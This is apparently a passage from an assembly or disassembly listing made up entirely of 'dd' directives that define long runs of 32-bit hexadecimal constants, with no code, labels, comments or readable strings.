		dd 7B7070EFh, 501264F6h, 58340436h, 63E4F4h, 0BFDD8EE8h
		dd 8FA526AAh, 0D0C9F929h, 963A1008h, 0FCF62Bh, 0F6F21E8Fh
		dd 7F02B7h, 4394A48Ch, 8A87E966h, 54C2E416h, 0A72CF890h
		dd 0D1143FEDh, 84044680h, 8D095F18h, 0D5D8C800h, 8B0FEC32h
		dd 0FC6C505Eh, 95D090D2h, 6B0040E4h, 0D93CB3B1h, 1DB77E47h
		dd 25B930A5h, 360014CCh, 0D30B6574h, 12C76379h,	0C19BC3D0h
		dd 3F8A865Ch, 1061CD8h,	0DAF8307Ch, 0F8E51289h,	2D3448CFh
		dd 54F358CCh, 6E20DC02h, 3851F772h, 20C6F00h, 0D1CFB4h
		dd 0B0FA66DFh, 7D3A9D2Ah, 0D4917116h, 0D12541Eh, 1E0094A3h
		dd 0D20F6406h, 0C402C27Ah, 0BC259E0Eh, 0F0A4D7B2h, 4B824096h
		dd 5C2B9C21h, 60295C7h,	64132704h, 2203745Ah, 175BAC57h
		dd 4EC4FA8Dh, 0C641C9Ch, 7402650Bh, 0AA204C45h,	48719023h
		dd 224AE539h, 0C4297F48h, 476D001Ch, 0AD2A1FEFh, 84910D46h
		dd 0DAFF2680h, 0E0B663h, 0C02D3EBBh, 0BF9D5E58h, 4CB7CF1Eh
		dd 7C024EB4h, 0E113564Fh, 0C4C2A74Ch, 9142E29Ch, 9F63F94h
		dd 0EC408514h, 269EF840h, 880078EDh, 8060A923h,	0DAED7AB9h
		dd 9FFC70CBh, 0BAE6E800h, 0CCEAD9DFh, 4C54B812h, 21332009h
		dd 0B2B4BE49h, 11162204h, 0A522Bh, 0A620B4E1h, 0FAC261EDh
		dd 0A8FE2EA5h, 269F053Dh, 8F4804B3h, 0E24B4240h, 5358C82Dh
		dd 0BC364831h, 7D001453h, 0B5AEFE69h, 600A498Dh, 0DB37F8C6h
		dd 62D51009h, 0A547028h, 6EF1CF4Dh, 40B43BE0h, 0A1E48448h
		dd 64247E30h, 2F5421EEh, 0A4D2C057h, 53C03F2Dh,	0E18E81C0h
		dd 0EF53E473h, 8FB96905h, 0EBA9F62h, 408448CCh,	1264B261h
		dd 68D20BF3h, 0E828503Ch, 95F6F0Ch, 0A092F7E0h,	4E4FD769h
		dd 2F0044E6h, 0CB5AF4A5h, 0A42750A9h, 69A89098h, 90A60031h
		dd 95B6EF9Fh, 1201B394h, 6C48C6FBh, 902A33A0h, 83B8758h
		dd 234060BCh, 1E341F2Dh, 0BE664Ch, 54CC89B6h, 817B97BBh
		dd 0C2A64F02h, 0E438CD9Eh, 0D02B00E0h, 0AA109E2h, 0C21ED81Bh
		dd 0A9F185BAh, 0F438189Eh, 0C4245DA0h, 0E0966B0Fh, 31ECE18Eh
		dd 0E6C8E82Fh, 42C212B5h, 835C2507h, 3916F548h,	908A1706h
		dd 0E990101h, 710FE8E2h, 0C4703EFCh, 0FF98BAh, 3FE56332h
		dd 2BD941D6h, 2AE1340Bh, 6BF087FAh, 641C01A8h, 2BE0824Fh
		dd 5D9C88h, 366E58FCh, 99EE21DEh, 0BD418302h, 40BB3F2Bh
		dd 26EFD3F0h, 32646562h, 0F029E9F0h, 0F0685E4Ch, 3CF05DF8h
		dd 6B4C197h, 0E0998878h, 2FD20D0Eh, 48733F89h, 822E5D09h
		dd 0E61AA634h, 3FDD0034h, 0DA3883A3h, 90E4C604h, 60E56601h
		dd 0C34C5CAEh, 349F408Bh, 4759707Eh, 0D20903Eh,	1B00AB70h
		dd 49622A60h, 6B32BB9Fh, 907C2874h, 280FD8CCh, 1998D852h
		dd 0F8F729A4h, 20608EFh, 0B83C040Eh, 0A0635865h, 0C4C3C95Eh
		dd 852901ECh, 510B40A7h, 884408C6h, 0B0574A3Ch,	0C24B0958h
		dd 0C9F8182Dh, 12FAB083h, 0B8A820h, 53470541h, 1812DCA5h
		dd 0A0881703h, 641230A7h, 6A4B13F0h, 14E49Fh, 16A08037h
		dd 0C203750Fh, 0BD07DF7Ch, 0DE9543E6h, 60985AC2h, 0A0483968h
		dd 16122FE0h, 0A8A8B357h, 0B03D80CCh, 6BC8FAh, 0F96C0B68h
		dd 36883026h, 0F8D58A00h, 7156199Eh, 2D032CA0h,	89BB0AB8h
		dd 76096FC4h, 0D47B4061h, 555AC25Ah, 14808C98h,	0B0A175B3h
		dd 0B816504Ch, 0BA2C0BD3h, 4B414074h, 222A3BA0h, 6A3013FCh
		dd 802CB1CDh, 5646EBE5h, 65008930h, 0B85923E0h,	4D2574Bh
		dd 6AF60668h, 7CB8B2EBh, 210071ECh, 0AB9FDADh, 0A22267h
		dd 8CE118B6h, 1A2DA1F5h, 2A41C0BCh, 12FF9F37h, 0C82B8B81h
		dd 0F70BD1A0h, 0C6448582h, 425620BCh, 90121C1Dh, 7A880646h
		dd 934E241h, 0B85A3CCBh, 0D46030D9h, 123DBCh, 0D861B61Ch
		dd 53CDD5D7h, 3ABEEF00h, 83729824h, 2C5E4D48h, 0CE0D2B00h
		dd 5BFBC01Dh, 88E06559h, 8906866Dh, 5A5B61A1h, 94772833h
		dd 7B2860BEh, 590FEEF0h, 85DDCCBEh, 0E4AD8DE9h,	93C5ED80h
		dd 0BF38C17Dh, 2870065h, 1BCA6D0Bh, 2D58EEC7h, 0DC844E10h
		dd 0EFE14108h, 0A878DA48h, 77121A80h, 7CB0BD76h, 0D94614Dh
		dd 69B01E9Eh, 56E23831h, 0AC7925A0h, 56C3BD00h,	0B90767Ch
		dd 0BCE8F1E0h, 3E9D020h, 0B1D3B813h, 5E843810h,	8090F0E2h
		dd 5C48983Ch, 6F4A2822h, 7400C8B3h, 707EC698h, 6A003F92h
		dd 45B56124h, 166D0309h, 17F97CA8h, 0C0BCEC40h,	1A30CA4Eh
		dd 8E961D8h, 2B3D91F0h,	97DBC840h, 0A4DCFDh, 6AAE365h
		dd 4979D203h, 0A3B66A00h, 0E655B11Ch, 872CB641h, 2ACA210h
		dd 0BC634430h, 21505948h, 0F89212B3h, 0F8572CACh, 3FE86F40h
		dd 0D623DBCh, 0C72DA684h, 3CC4A58Dh, 0A03C4C70h, 1E4AF2Eh
		dd 64243B0Ah, 0A6C74BA0h, 1025EC50h, 164058E4h,	855ECFB0h
		dd 6830AA30h, 21CBA2h, 0C9FB3623h, 0BA1CF5C4h, 3144E900h
		dd 7BB80952h, 1E5422CFh, 0A9D45700h, 51BC7759h,	7CA02EADh
		dd 234B911Ch, 2FB42C38h, 0D900F4D3h, 0B57F4593h, 6446BDE2h
		dd 0A5943803h, 90EE8C2Fh, 90B6F08h, 1F92755Dh, 2416D8D2h
		dd 0AC30654Dh, 1CE632h,	0F6E43ACAh, 5C8C5551h, 0EF27A109h
		dd 224C1144h, 0F0CA3Bh,	7D0D0B1Fh, 3E693742h, 0EF855CAFh
		dd 0FA5DED88h, 0F1EEFC32h, 85999080h, 0C821CF06h, 9010B053h
		dd 6D09FAB6h, 99D75B2h,	63F081C2h, 611C852h, 948C2A1Ah
		dd 87C2FE2h, 309800ECh,	0F140609Eh, 1CFC5FF8h, 810D4414h
		dd 0CB4B9927h, 2CF8421Bh, 384128C4h, 1D667000h,	68EF009Bh
		dd 6FFDB253h, 1B01EB9Ch, 0BE7B0456h, 0E5424399h, 3D70D971h
		dd 830AC48Fh, 207EFAA9h, 8ED6B41h, 7F5FE9D7h, 0B3B36FCh
		dd 9F1606FAh, 885934DCh, 44BFDC08h, 43F8F0h, 0ECE2974Ah
		dd 9CE7A5AEh, 0CECF5C09h, 22B4EC37h, 0A74545ACh, 0AADC686Eh
		dd 433D1C00h, 4E04D213h, 177B02Fh, 73AECDE8h, 0CC0210C2h
		dd 64A9D28h, 0BE09B0A3h, 806EB5F0h, 0D0A43Fh, 0B729C71Ch
		dd 4AD4531Ah, 652CC80Ch, 607C2512h, 150038A2h, 0A7D22EF5h
		dd 7029EF6h, 34ED3D40h,	0EC98D5BFh, 7700B6E3h, 0EEFBFA41h
		dd 666A03h, 6FF0695Ch, 87618BA5h, 4FB14022h, 13448C4Bh
		dd 0E9F4920Fh, 0B861C12Dh, 1444C432h, 7C098116h, 50A0F429h
		dd 7CB6716Fh, 2041F9CFh, 945D4A08h, 794C8B98h, 2053AF54h
		dd 8F844A44h, 837075AEh, 0ADE42898h, 60928010h,	31B38D3h
		dd 26E72AFh, 590BEC7h, 90B42A9Eh, 0C8371744h, 44CAA14Fh
		dd 11BEC44Ah, 93EC8780h, 2665C376h, 0A9E86C09h,	3918F095h
		dd 6A09AD22h, 887C6EA0h, 162A0460h, 403CBCE2h, 0A9EB2E0Fh
		dd 2174D3Ah, 0A8BB4614h
		dd 0B3F04060h, 882D5A84h, 0AF0196C8h, 0E7A025D6h, 3DF8E3ACh
		dd 0C49015h, 0E673AB18h, 5DA7A90Dh, 0D3822B27h,	983B108Ch
		dd 4A74635Eh, 17F0D03Eh, 0DC026F47h, 828A6E2h, 1C16DFB7h
		dd 219F3C13h, 352AF821h, 2E012C3Ch, 922D3326h, 60F6F63Bh
		dd 22CBCE2h, 98F0302Ah,	53E69214h, 0C8DE8080h, 1C454078h
		dd 9EC4A587h, 162DCF66h, 0A9498264h, 63EE00F4h,	0D77BED28h
		dd 32A00D9h, 54981CF0h,	9990F4A5h, 94BF8A0Fh, 0EF6FE04Ch
		dd 0B0F62BAEh, 0EBA50CD5h, 0AF2957D2h, 19C0FAF8h, 31DCD569h
		dd 22517CCFh, 530E840h,	77F408F8h, 3701Bh, 0C78DF7D6h
		dd 0E3FF2B49h, 95F960C7h, 40EB0190h, 3BBD2C47h,	24BA0008h
		dd 0F860CA22h, 2AF05512h, 0D7528D03h, 5A8000A3h, 0AE0A654Eh
		dd 9DF96FA9h, 0A6D89869h, 556320h, 0A1ECFD2Bh, 0BBA3E186h
		dd 0AA14770Eh, 62CF00C6h, 1F781CDDh, 58EBA796h,	3D85D95Ch
		dd 0E003A332h, 8C052757h, 7F00C161h, 286D27F6h,	0A2E771h
		dd 0CB7D2DEh, 7306F3D4h, 78EDBD03h, 0AB2E52h, 0BB09E950h
		dd 0A06198A5h, 0B8F550Fh, 0E4F9619Eh, 0B0D731A7h, 0C0F45721h
		dd 0D3B72E08h, 70F2B6BAh, 0B89E0E07h, 0E376C609h, 3C231D21h
		dd 0CE73404Ch, 69FB370Bh, 48C3257Ch, 0A9F67429h, 5980303Eh
		dd 7A914754h, 0E4144C25h, 2238FB9Ah, 969D00F6h,	0CD10AA65h
		dd 9AEC77A1h, 85132200h, 8652307Bh, 0AFBB030Ah,	0BDD70F3Dh
		dd 0ABDB0BC0h, 8DC85700h, 100AA230h, 51E26175h,	802062FAh
		dd 8B9EE891h, 0ADD8F02h, 0B41741F2h, 0ED37383Ch, 9CD7308h
		dd 3F785E0Ch, 0ED7FA104h, 2A36348Eh, 6C0EFFE0h,	0DA0098FBh
		dd 7D0A9033h, 1EB7329h,	1BD0C743h, 8CE37731h, 811F8251h
		dd 4DDE0F10h, 6E003A6h,	7FB3E5F5h, 18959000h, 3E217EE3h
		dd 0C06577FBh, 0D231C131h, 750FB4A8h, 557092Bh,	2C08DD74h
		dd 0F8538011h, 0CFA252FEh, 5D6E6500h, 940D1967h, 66F100C2h
		dd 0BA73AF9Eh, 0B92E5B14h, 0D930D0E5h, 71A908Eh, 99ED8FCEh
		dd 9276F0C2h, 890562DCh, 0CF7C1020h, 0E50D905Eh, 0D80271ADh
		dd 8B2621FEh, 0FF52FC1Eh, 88FABE05h, 3800A667h,	603CFB62h
		dd 505AB832h, 0AE6C19h,	75C54202h, 8AEE0C30h, 143DA70Fh
		dd 0C0703531h, 0D8C5B85Ah, 2F323BEDh, 346A3C87h, 0EAECA12Ch
		dd 688C430Ah, 117E43ACh, 0FE7831Fh, 0B513EB11h,	72C83720h
		dd 0E80B4A66h, 80D6F224h, 4E551C37h, 83863997h,	0C0A47164h
		dd 9E642108h, 0D06F3100h, 61975499h, 0EBCF272h,	8915B26Bh
		dd 0E6016D43h, 0BB006974h, 64AC26A0h, 5475C3h, 686BE5CBh
		dd 0B67E7765h, 9E332C0h, 1828E29h, 8040E732h, 0F479D06Bh
		dd 8F18C60Ah, 1F51DC03h, 0CBBF0049h, 0FA9FBAA6h, 11005035h
		dd 3C74C4B0h, 5292E444h, 8200E433h, 27C0DE6Bh, 0D4A4A1E3h
		dd 710A8F7Eh, 0D8CA57C2h, 0E54AC68Ah, 7B3F9900h, 4159Fh
		dd 343211FBh, 0F2A5196Fh, 69C20D00h, 0BB8FE491h, 2FA631E5h
		dd 0E08C6651h, 11C6FA94h, 1C59FB57h, 80AD756Bh,	0EFEBC060h
		dd 0B201FC2Bh, 0BED7F242h, 2980E656h, 1C3E6B87h, 1090B902h
		dd 0E8E5860Ah, 0D60E845Dh, 0C1090078h, 0DED090h, 70BAEFBh
		dd 6BFAC4C6h, 0CD8C1248h, 0E4E05176h, 7978A895h, 0F9630C77h
		dd 2A28EB56h, 0A1117B1Fh, 93EE0980h, 7567ACBAh,	0C28A0066h
		dd 0FC3382BEh, 0C0AB8DC1h, 329A9014h, 3CE32270h, 17C528Bh
		dd 2BF5A914h, 3022B950h, 10446930h, 39BAFB3Eh, 0A680AD3Ch
		dd 0D454A8FBh, 230B4E82h, 7EB617Ah, 0E565319Bh,	30946004h
		dd 6C63145Fh, 23A66204h, 7528D1F2h, 9C8414ECh, 0A84C830h
		dd 89B900C1h, 0E6FA60Ch, 17B0C7C5h, 23A17F8h, 683E28E1h
		dd 0E2AD5C00h, 11F42D47h, 13B4048Ch, 94C72A70h,	604448F0h
		dd 0A49BE442h, 0A207B0Ch, 98A067D4h, 770359E0h,	3BFC79Bh
		dd 217AE2h, 6CF9FBAAh, 4EFC3B22h, 89C4AC04h, 401C1883h
		dd 532F6FF6h, 0C07829Ah, 890ADE3Ch, 0CF402264h,	392996AFh
		dd 0C901F4Ch, 81EB7711h, 0D87024E5h, 0D721F20h,	0C219CC78h
		dd 2800BC64h, 17E80695h, 79086A4h, 0FC6332Fh, 8B8D00B1h
		dd 6850AC82h, 57302AC8h, 648841F8h, 3B4D0086h, 8AD71813h
		dd 3E005E7Bh, 446B58A8h, 0A49EE4EDh, 93671FC0h,	9F75DC7Ah
		dd 14B429E3h, 0A042F531h, 0CC44A63Ah, 0C812E529h, 0AABE00BEh
		dd 9DCDFD8Fh, 66EF3A3Ah, 916DBA82h, 0E0DDE070h,	0EDAD11D0h
		dd 6AFA3186h, 0C1005126h, 436E778Fh, 2CEB5951h,	4A68AB10h
		dd 4D3C8108h, 0CD0FA05Ch, 3661EC0Ah, 41178130h,	504270h
		dd 0F524881Ah, 2ACCD111h, 0F80EAA1Ch, 90CF7B5Ch, 20081379h
		dd 80B79EF9h, 863F7E48h, 5C008807h, 8057EF22h, 0FCA3A010h
		dd 6CC75875h, 0DC38F714h, 203F7212h, 244C028Ch,	25161400h
		dd 9D91A4C2h, 0DABE434h, 308CD46Bh, 782EFAE0h, 8139D248h
		dd 102BD109h, 39FAEBF5h, 77A4F1B4h, 57C94318h, 8D00A9EEh
		dd 7E4FB058h, 0A20F8Ah,	5E7D6B5Fh, 0AB9E0936h, 70D0CF30h
		dd 882031ECh, 9205AFC1h, 5645080Dh, 9634DC08h, 2C340075h
		dd 0B66DFB6Eh, 3E300092h, 0F37B21FDh, 0D34C0053h, 4D9686A2h
		dd 630F35A1h, 20CC554h,	0ECED83C1h, 0E5B31854h,	622149ACh
		dd 4001EE01h, 3D413C1Eh, 0DAC52C40h, 0BE8100E7h, 76245AA1h
		dd 0C3EA3E06h, 0FA00AFFAh, 21B33D31h, 0DCDF079Bh, 472C26D0h
		dd 12A55017h, 4A00C2D3h, 0B1716DE0h, 19937248h,	317899ABh
		dd 3B0910E8h, 0B64500BFh, 825BED14h, 6905E450h,	7C31D274h
		dd 0F052B08Ch, 20E1457Dh, 8E883460h, 9167098Bh,	5CA5545Fh
		dd 2A1C4063h, 2C62FDBFh, 0D4CEB8AAh, 0B0227822h, 11CE423Ch
		dd 3E031882h, 0CAEC49A1h, 1586840Eh, 0BF0B62B0h, 451C422Ah
		dd 245483C4h, 61C822E0h, 0A904873Ch, 0AF11C275h, 749024C8h
		dd 0FE4901h, 16B7977h, 758938E3h, 0A6E1F7EBh, 0FE60A0C8h
		dd 18B6BD1h, 8776474Dh,	0D08A329Dh, 0E7704B9h, 35F0B20Bh
		dd 3FA88482h, 0F45888h,	0B6A3ACB0h, 0F61D3679h,	102650B0h
		dd 0A4E3CAEh, 0ED8794EFh, 0CAC38144h, 0B863B35Ch, 2CFF504Fh
		dd 1F47DF4h, 74418D40h,	25F43079h, 0DB9C57EBh, 0F19AB090h
		dd 589C6E00h, 59AB0FEDh, 0D0C954CAh, 8CB903h, 0DFA38711h
		dd 0C00FF30h, 0CD48C477h, 0C39878h, 0F06712B9h,	495674C6h
		dd 76B10667h, 1364CCAAh, 4B538740h, 320034EFh, 61FB6746h
		dd 3D6C2675h, 0DAACFACCh, 10F805CCh, 127870ADh,	0BBE25C47h
		dd 2036D11Ch, 0F9787784h, 53AA7CC1h, 0AC50C114h, 87C41034h
		dd 37F0B00Bh, 0E049EE7Bh, 0EB60F53h, 8B9DF703h,	0B6572071h
		dd 838C1F41h, 1A877C31h, 9E26C074h, 0EEA17762h,	9C135059h
		dd 0F7AB8A00h, 3E2A3293h, 3CCCDEF2h, 0D65661C0h, 15013A2h
		dd 0B200B83Ch, 0F6F7C026h, 1F3283C5h, 0C6B9E1Fh, 0BB38D5E4h
		dd 3FE67513h, 0FA63420h, 0FA360EBDh, 85A07632h,	0F6579AAFh
		dd 0CB6DA00h, 83696FACh, 44E2EA1h, 28AF0764h, 9033BA4h
		dd 49018581h, 0CE174DFh, 0B8F85DC2h, 0EB01008Ah, 770A49B6h
		dd 0EA00A8C8h, 0C14D70FBh, 0A02A6B8Bh, 3E1F45D3h, 1848FD8Eh
		dd 32AFBB80h, 56522898h, 0E4B600D0h, 0DB4BED6Bh, 0A0DA0081h
		dd 1BBF1910h, 0CC025725h, 56CB0B8Ah, 0FC1C20F7h, 0BA04947Fh
		dd 260D03ECh, 0E4804285h, 0FC7CFF4h, 9F84ED7Ah,	401F8184h
		dd 0B220ADB1h, 57DD0FE6h, 9609CF58h, 39991400h,	3C00AC22h
		dd 7B867F69h, 3A1174EDh
		dd 0C4509CABh, 1B6A28FBh, 0F6757A60h, 0A56000D6h, 1CD9583Fh
		dd 39015565h, 0FEEE278Ah, 0DBF0446Fh, 510D3304h, 0E2A94718h
		dd 0FA50166h, 0E0007AF1h, 84776548h, 0BEF2540Eh, 628FADh
		dd 2EA8224Ch, 461F0C26h, 9E092FB0h, 28EC21C0h, 625719A8h
		dd 8C095051h, 7921AC06h, 0B75300B1h, 6B677FBBh,	65114EADh
		dd 0AC000341h, 0D6F1EB74h, 120CD1D3h, 819DBB7h,	1B21C069h
		dd 6433F1F3h, 0C61E13Ch, 0C0680E0Fh, 3D1D104Dh,	0B8B8627Fh
		dd 0A83C18A1h, 2F26D808h, 40956439h, 9A82AE2h, 0FDD5073Eh
		dd 0F0F4937h, 5F73B902h, 1BB75480h, 10C73B1Eh, 8B0A5EDh
		dd 0E05AECh, 0BD4124D7h, 355B5912h, 550D438h, 397C9370h
		dd 1C4316C0h, 0DFBD003Ch, 0F1B5983h, 21009754h,	0E1674519h
		dd 125558h, 69042748h, 0FD333423h, 0BCBA7B00h, 9C920BCEh
		dd 0D7E45Bh, 0E3DD3696h, 4502DE2Bh, 35D10C00h, 0BFD8D22Fh
		dd 54EB0385h, 448E6F42h, 32AA8FE8h, 0F7ECB307h,	111C5548h
		dd 6104AF57h, 80073ACAh, 0E7C55210h, 27B486h, 3103375Fh
		dd 0E3FA205Bh, 0A3CAB200h, 52C4EFACh, 29DC6238h, 83223003h
		dd 0AA6F22F9h, 24F06222h, 0FF482137h, 2887BB12h, 1B914818h
		dd 9A0FE700h, 75DF2CD3h, 20BC0E0Eh, 815E00D0h, 7F6E921h
		dd 43B13B6Ah, 398AE3ACh, 0B9548FE8h, 0F93B2BB0h, 39F9C88h
		dd 3FEE1785h, 24CBC300h, 352A3Ch, 0B3D32B55h, 0F621183h
		dd 0A66CCD07h, 86518ABBh, 0DA60677Dh, 0F53200F3h, 0D3192704h
		dd 90023744h, 67CFCBD6h, 0B5F6C064h, 53B20093h,	609FB007h
		dd 0C20011C4h, 0C1ECA35Fh, 0E2DF57DEh, 0A46107FFh, 10E42EA5h
		dd 0BC9402E6h, 9FE24400h, 0CA014293h, 37C8A0B4h, 0D03400D7h
		dd 0C628E78Eh, 0D507781Fh, 0C938DF26h, 0A5A84CB0h, 37662h
		dd 1B2461F8h, 138B3771h, 9A66C401h, 68E995F7h, 74FA78F8h
		dd 72510183h, 0FE200B5Ch, 0A4B3C077h, 0D4C038h,	0BE3C23E2h
		dd 22AA5C5h, 5968831Fh,	104802D7h, 6B39F743h, 0D6AEA86Fh
		dd 4BD9B900h, 25E7A78Eh, 0C56600D0h, 3585A650h,	0A500AFFEh
		dd 0A306E2C1h, 2205D3h,	0D9A90B3Ch, 0CB28CC80h,	4F3AD5F2h
		dd 955A8060h, 0BE64506Eh, 23EFE25h, 1928EDF9h, 0FCA0F7D4h
		dd 0DA32B2DEh, 0CA51E800h, 0D72F88Bh, 0AF901D63h, 107F4015h
		dd 0AA6AADF9h, 5D1D2500h, 0EFD2ACE7h, 5A520093h, 0EEA966CBh
		dd 5100881Eh, 8D1CBE41h, 3DFD3911h, 6700F283h, 0D101D325h
		dd 0C077A1Bh, 0DF728537h, 0BC42C550h, 5C35004Fh, 52822275h
		dd 9B00D001h, 27D48F45h, 76A91E42h, 0E45D0915h,	0F0495D9h
		dd 0F008C72Eh, 18636BFBh, 0CAF99903h, 8306FC38h, 321CC133h
		dd 0B04005E1h, 147FF880h, 94093C84h, 44D11401h,	0CC7402F1h
		dd 9C061D95h, 0E98DAB1Fh, 9BDE00F1h, 3BAD34CFh,	70007BA8h
		dd 0D8930C8Bh, 0ECFB0Eh, 5AC9D443h, 0C8A48641h,	5BBDB000h
		dd 0B3BCA6EFh, 0AEF600FAh, 0CBEC7F61h, 0A5759FC7h, 4F06F900h
		dd 0E9500E08h, 0BFDF1E76h, 20B80C49h, 6E986690h, 9AA43D07h
		dd 8F10FEEAh, 0FC5028h,	5B6E4111h, 7A86F573h, 9B023890h
		dd 64D210D4h, 0FE0CE1DDh, 28478C61h, 0A3301C40h, 0D97C0328h
		dd 82DF3F4Fh, 688AF98h,	154DCE01h, 0BE8DB4A1h, 0FD052087h
		dd 784EB1B3h, 64CCE826h, 7D3A41EEh, 2A1B9EA3h, 916E9703h
		dd 6615B822h, 5C3800FDh, 0AB8DA346h, 0F200EF42h, 20D88498h
		dd 702192h, 0A03705C8h,	64B0E63Eh, 1FF1F0A0h, 4103AD73h
		dd 5A83D0B7h, 51E00025h, 0B373627Eh, 0D4002037h, 221AA7BFh
		dd 2F6E5Dh, 0FD0EF586h,	4DFF13Dh, 68BD8407h, 7B90BE7Fh
		dd 0B5DC4Ch, 0A1702C56h, 0A72FBA26h, 0C459D803h, 90A5B306h
		dd 9523301h, 870FCE5h, 0E0980800h, 6F004C97h, 6C41A131h
		dd 0F95CD9h, 1C697CFAh,	533887B5h, 5E19200h, 93C64867h
		dd 176C00B7h, 76739032h, 8B01F483h, 0B443F640h,	4900F7DAh
		dd 281CC7Eh, 38F411D4h,	450015AEh, 0F30726BAh, 494CB24Ch
		dd 7B9209ECh, 9C308005h, 3B6C4D39h, 4400543Fh, 64BFB6C8h
		dd 3109B1F4h, 0A03BFB5Dh, 8C5CE058h, 348EC50h, 0FDA3EDD5h
		dd 59A0EFEBh, 1F004BB4h, 0D6723212h, 1ABC9Fh, 40F2D2CEh
		dd 71C2BB56h, 9183CB03h, 0E0F83A4Fh, 0B832B7D1h, 1C670183h
		dd 78FDC807h, 2A61CA14h, 0AA56E083h, 2F55500h, 79DC2951h
		dd 0E85900CEh, 62BC70Bh, 710060FBh, 7C18E41Fh, 0C27893h
		dd 0F30CED57h, 3A69EFC6h, 8001943Fh, 7E06DAD6h,	20BA7Dh
		dd 0C1319F9Dh, 21F6125Fh, 95741503h, 0F18789DFh, 4CF02CB8h
		dd 0D3AB39E4h, 0F28003BFh, 1D7F9577h, 593ADAEEh, 0E18A806Eh
		dd 1A2B16A1h, 29C203A3h, 7F05B967h, 44AC8800h, 386E663Eh
		dd 0DAFD004Ah, 758BF761h, 0D2F4D3CAh, 0BFF88202h, 6001E1F1h
		dd 20E312Ah, 0DF4028CBh, 0E780DBB5h, 5E0C7042h,	0C959B80Eh
		dd 3D378039h, 3F003AAh,	7E6628D4h, 8AD82A4Bh, 201AF1Bh
		dd 0F22EC1E4h, 24601F8Fh, 0BBF1004Eh, 0EEF35324h, 0BF00112Dh
		dd 99CF56F7h, 62AEFAh, 3510381Bh, 2E158FC3h, 0E001DF2h
		dd 0D2FAF7B4h, 0ED3F57Ah, 0BCD9E6DBh, 0EB16C09Ch, 852495DFh
		dd 1C9DC500h, 5A756E39h, 0E7F00E9h, 0CAA6D417h,	220060E5h
		dd 291F3DBFh, 320F3C8h,	0C71832AFh, 0F19BA5FDh,	5D8CFEB8h
		dd 86B65112h, 0A0DA400Fh, 8AC54648h, 0C9E241h, 0DDDFBF98h
		dd 0C7D9FC9Bh, 0B2FDEA0Eh, 0EC5E157h, 2A808109h, 23F6F1CAh
		dd 82E024A4h, 0D048E7Fh, 2A1D575Bh, 0B3E6CF80h,	30D207B7h
		dd 0F0BA7FD1h, 0BF632964h, 48431E01h, 62DAFB97h, 1F38C0D0h
		dd 8020C644h, 6FBD3DEAh, 9E0382A6h, 0EE0502Dh, 0B283F899h
		dd 28747Bh, 3059118Ah, 0EE694882h, 0F1AEB901h, 0D1F534Ch
		dd 3CCB60h, 97F50F43h, 46E8A958h, 906E600h, 5E04CE7Eh
		dd 0C2F2057Ch, 83EA1756h, 37D82227h, 9300A0C4h,	0A2A61398h
		dd 8DF4BEh, 73343259h, 950CB111h, 0FF26DD00h, 0E8E688A3h
		dd 209100AAh, 65686A77h, 0D00D7CCh, 8D37CA94h, 7FF67Dh
		dd 71FBDA99h, 0AA513396h, 4D9C0407h, 0C7401AA1h, 0C08DBB7h
		dd 2558F299h, 1000CBAEh, 7541194Ah, 1A62A2Bh, 62611B0Bh
		dd 0D0BC9507h, 0F9B0FDA9h, 0CB5D0617h, 0C9FAD600h, 483B9FA0h
		dd 713C2411h, 78FC14BEh, 0D18A00ACh, 8761EA9h, 0DB003AE0h
		dd 0AF0A031Fh, 35DE9D5h, 35847311h, 9CB89B05h, 2C0FA385h
		dd 0E1B84F50h, 3120FE29h, 4818E0h, 94895C47h, 5A14FF23h
		dd 0A403371Fh, 420EF94h, 0F1988D27h, 1840CC87h,	0B7B1D0h
		dd 9EA72E1Eh, 28503B23h, 65D96700h, 21821D55h, 87C4039Ch
		dd 0CD8151D0h, 80107BA1h, 0BC54AAC8h, 6F7EFBh, 4707F919h
		dd 0E039C7F8h, 0F744961Fh, 158E9C80h, 908A41Dh,	0FD826E1Ch
		dd 2B4E4420h, 9100B19Eh, 44F5F695h, 0C4B00AE4h,	0F027F978h
		dd 0D70FEF27h, 67EC9CD4h, 3AC07CADh, 0C06A5835h, 938AB82h
		dd 0C00A294h, 0CE879DCDh, 2CED23h, 0FAC877A8h, 80435893h
		dd 0C08BEDE1h, 2500C284h, 0AAF4F98Ah, 90E7F5h, 32D30CEAh
		dd 2FCF356Ch, 635AB300h, 0B7E358C7h, 0D0C51DF7h, 0C1195ECBh
		dd 867A951Eh, 0A8C0C031h, 58AA200h, 38DE4049h, 2BA1003Bh
		dd 47F29067h, 20F3C119h, 0B000C214h, 13CF30CAh,	96A69B8h
		dd 0ABFA81B3h, 5367C200h, 8D008464h, 5E338287h,	7497443Fh
		dd 5726073Ch, 33A7ECC6h, 0F6030F88h, 0DFF673D0h, 0DC6007A5h
		dd 105AABFBh, 0B92B5D11h
		dd 0EBF8B407h, 9AC15E93h, 0C9C88857h, 3B89022h,	54638434h
		dd 1013292Ah, 7100E1B0h, 7B5917AFh, 99EF3A83h, 4F5C4981h
		dd 30FA1CAAh, 1501082Ch, 41C91948h, 1CD8B43h, 0E7F4CED1h
		dd 560900F9h, 40689A95h, 2A004E51h, 1FC28B7Eh, 4853E05Bh
		dd 0C03864E6h, 7B796A80h, 4941F20Eh, 5BECEA00h,	57219B0Bh
		dd 8628C029h, 0A3A7381Eh, 28B2FB00h, 21224B14h,	0EF042499h
		dd 7A0200F4h, 0D2F70DDCh, 5E8DE8FBh, 3546D909h,	38440063h
		dd 0F606Ah, 0B74A0A3Bh,	0A61601C2h, 2BFC7300h, 0FFEF3AB3h
		dd 0EEAB0BE6h, 2000F3FEh, 0BEEC171Bh, 0F3D7800h, 27EB552Dh
		dd 70E40148h, 0B8E4554h, 0AEE024F7h, 7AA8E000h,	7595FAC9h
		dd 0E7D3031Ah, 225CAC54h, 8744C80h, 9980DA00h, 28191B7h
		dd 0B0E60Eh, 0D19FE3CFh, 18103E25h, 0D718A02h, 40B17E59h
		dd 0A3757Ch, 0B3C888D8h, 0AB57D54Bh, 3483FE00h,	432B6EBAh
		dd 0E4C214A9h, 3B048422h, 0C0C952CCh, 1D794874h, 30D30409h
		dd 0F550010Fh, 8EF8F7A2h, 0EE20Ch, 4F1F5933h, 68772B72h
		dd 0C78C7300h, 9DD24CCEh, 262C0BCFh, 60001A9Ah,	0A7A0DA69h
		dd 4A2EFF00h, 3FC30555h, 0F587005Bh, 44AA77C5h,	130031F3h
		dd 0A430EA42h, 0AE7306h, 55A72468h, 6D849DE6h, 3C425F00h
		dd 96D7BAB2h, 0BCC900F5h, 0B94EC541h, 22001CBBh, 772D528Bh
